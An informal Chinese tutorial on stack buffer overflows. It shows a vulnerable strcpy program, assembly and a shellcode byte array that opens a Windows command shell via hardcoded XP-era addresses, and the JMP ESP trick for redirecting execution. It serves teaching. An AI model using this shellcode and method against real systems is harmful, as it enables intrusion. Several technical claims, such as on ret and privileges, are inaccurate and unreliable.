缓冲区溢出英文叫做buffer overflow,操作系统有吧缓冲区叫做堆栈,各个进程会把数据放到各自的堆栈里面,亦可以叫做堆栈溢出,缓冲区溢出是一种很牛逼的漏洞,市面50%以上的漏洞今本都是缓冲区溢出漏洞,微软发布的补丁包一大部分也是为了这货。
缓冲区溢出作为攻击手段,可以造成程序崩溃的拒绝访问攻击,但很大一部分是用来取得shell。
在说缓冲区溢出前先普及一下专业知识
中断:
在程序执行过程中,由于某个特殊情况(称之为事件)的发生,使得CPU终止当前程序,而去执行该事件(称为事件处理或者终端服务程序),执行完后还原堆栈后继续执行源程序的下一行。一般用 INT n 来调用中断表中的程序,或者用call 目标地址 调用子程序,来产生中断。调用中断前,参数先入栈,还原环境用ret 指令。
堆栈:
先进后出后进先出,是人都明白,不多说了。
寄存器,汇编指令:
EIP指向下一条要执行的指令,ESP(stack pointer)栈顶指针,可以读取数据,EBP(base pointer)栈底指针。
ret执行过程是(IP)=((SS)*16+SP) (SP)=(SP)+2; 就是从堆栈中还原EIP,之后栈顶指针下移。
PUSH POP 入栈出栈指令。
下面来分析一个简单程序
#include <stdio.h> #include <stdlib.h> char name[] = "abcdefghijklmnopqrst"; int main() { char output[8]; int i; strcpy(output,name); }根据下图,因为strcpy这个函数不会检查目标字符串容量(c是极度相信编程者的语言,很少有各种语法检查,可以写出很多很神的代码,也很容易犯错)
正常情况左图,堆栈溢出的情况如右图内存只为output分配了8个char的空间,但是name所包含的内容太多了。把EBP和EIP都给覆盖了,注意
虚线以上是本程序所分配的堆栈,在程序结束时调用RET还原EIP,结果EIP已经被覆盖了,变成了PONM,CPU就会执行地址为PONM的指令,结果发现该地址根本不能
访问,就报错了。
注意因为是程序结束时报错,也就是RET指令执行后,产生的错误,这时的的权限为ROOT权限。
根据堆栈平衡原理,pop push一定是对等的,程序结束时,EBP一定停留在栈底,POP EIP后 EBP会继续下移(这在定位ShellCode色时候会用到)。
生成ShellCode:
为了达成我们不可告人的目的,我们需要先把一段我们想执行的代码的地址放入内存,EIP覆盖成该代码的地址。
这代码一般就是ShellCode,类似于命令行。
c语言下打开一个命令行的函数如下,当然不能直接往内存里考,内存只认识机器码。
下面的代码看起来简单,但是编译器帮我们做了很多的工作,实际上远没有这么简单。
#include<windows.h> int main() { LoadLibrary(“msvcrt.dll”); system(“command.com”); return 0; }那么我们可以写的再复杂一点
稍微解释一下,
定义函数指针这里LPTSTR 代表 LP(Long Pointer) T (是否采用Unicode编码,源于win32环境中的_T宏) STR(String)
微软弄得恶心东西,直接理解成char*就可以。等会用它来调用system函数。
LibHander这句是获取动态链接库的句柄。
之后通过GetProcAddress获得system函数的真实地址,并把它赋给函数指针。”msvcrt.dll“是长时间存在于内存中的。(真实地址这个东西在溢出中非常重要)
#include <windows.h> #include <winbase.h> typedef void (*MYPROC)(LPTSTR); //定义函数指针 int main() { HINSTANCE LibHandle; MYPROC ProcAdd; LibHandle = LoadLibrary(“msvcrt.dll”); ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system"); //查找system函数地址 (ProcAdd) ("command.com"); //其实就是执行system(“command.com”) return 0; }这里补充一下window程序的函数调用过程,在吧参数依次入栈之后PUSH EIP,Jmp Func(函数地址)
先把system(command.com) 按照上述套路转换为汇编,因为push指令为一次压入4字节所以不能直接push。
lea ecx,[eax+0x30] 等于
move ecx,0x30
add ecx,eax
mov esp,ebp ; push ebp ; mov ebp,esp ; 把当前esp赋给ebp xor edi,edi ; push edi ;压入0,esp-4,; 作用是构造字符串的结尾\0字符。 sub esp,08h ;加上上面,一共有12个字节,;用来放"command.com"。 mov byte ptr [ebp-0ch],63h ; c mov byte ptr [ebp-0bh],6fh ; o mov byte ptr [ebp-0ah],6dh ; m mov byte ptr [ebp-09h],6Dh ; m mov byte ptr [ebp-08h],61h ; a mov byte ptr [ebp-07h],6eh ; n mov byte ptr [ebp-06h],64h ; d mov byte ptr [ebp-05h],2Eh ; . mov byte ptr [ebp-04h],63h ; c mov byte ptr [ebp-03h],6fh ; o mov byte ptr [ebp-02h],6dh ; m一个一个生成串"command.com". lea eax,[ebp-0ch] ; push eax ; command.com串地址作为参数入栈 mov eax, 0x7801AFC3 ; call eax ; call system函数的地址
类似于这样(因为windows版本不同dll在内存中存放的位置也有所不同,所以这样生成的shellcode不具有通用性)
unsigned char shellcode[] = "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" "\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64 "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8" "\xc3\xaf\x01\x78" //sp3 system地址0x7801afc3 "\xFF\xD0";
这一步前辈们也想出了一个比较牛逼的办法,利用内存中JMP ESP 的地址是固定的这一原理来定位ShellCode(因为jmp esp在系统核心DLL中)
先用JMP ESP的地址覆盖原 EIP地址(每个系统的JMP ESP地址有所不同)
程序执行完后执行RET 也就是POP EIP,之后ESP下移,EIP所指指令变成JMP ESP
POP之后ESP下移一位,正好指向ShellCode
构造出的ShellCode应该是这样的。